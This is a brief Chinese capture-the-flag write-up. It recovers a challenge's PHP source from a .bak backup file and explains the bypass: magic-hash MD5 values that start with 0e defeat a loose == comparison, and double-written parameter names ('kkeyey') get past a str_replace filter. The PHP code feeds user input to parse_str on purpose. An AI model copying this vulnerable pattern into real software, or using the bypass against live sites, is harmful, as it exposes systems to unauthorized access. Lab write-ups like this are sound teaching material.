常用备份文件后缀:.swp,.bak
之前也做过相关题目 所以想到了 index.php.bak
下载源代码
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php"; //包含flag.php
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');//设变量str的值为url中?后面的字符串
$str = substr($str,1);//设str为str中第一位开始后的字符串
$str = str_replace('key','',$str);//把str中的key替换成空
parse_str($str);//把str中的字符串解析为变量
echo md5($key1);//输出md5加密的key1
echo md5($key2);//输出md5加密的key2
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
要key1和key2加密后的md5值相等,但是key1和key2不相等,想到md5绕过-------传md5值是0e开头的字符串
构造url:?key1=QNKCDZO&key2=s878926199a,页面并没有弹出flag
正确的payload:?kkeyey1=QNKCDZO&kkeyey2=s878926199a
用kkeyey而不用key的原因:
$str = str_replace('key','',$str);即当我们传入的参数带有key就会被替换为空,所以这里双写kkeyey来绕过,这样kkey ey即使key替换成空了一头一尾拼起来还是key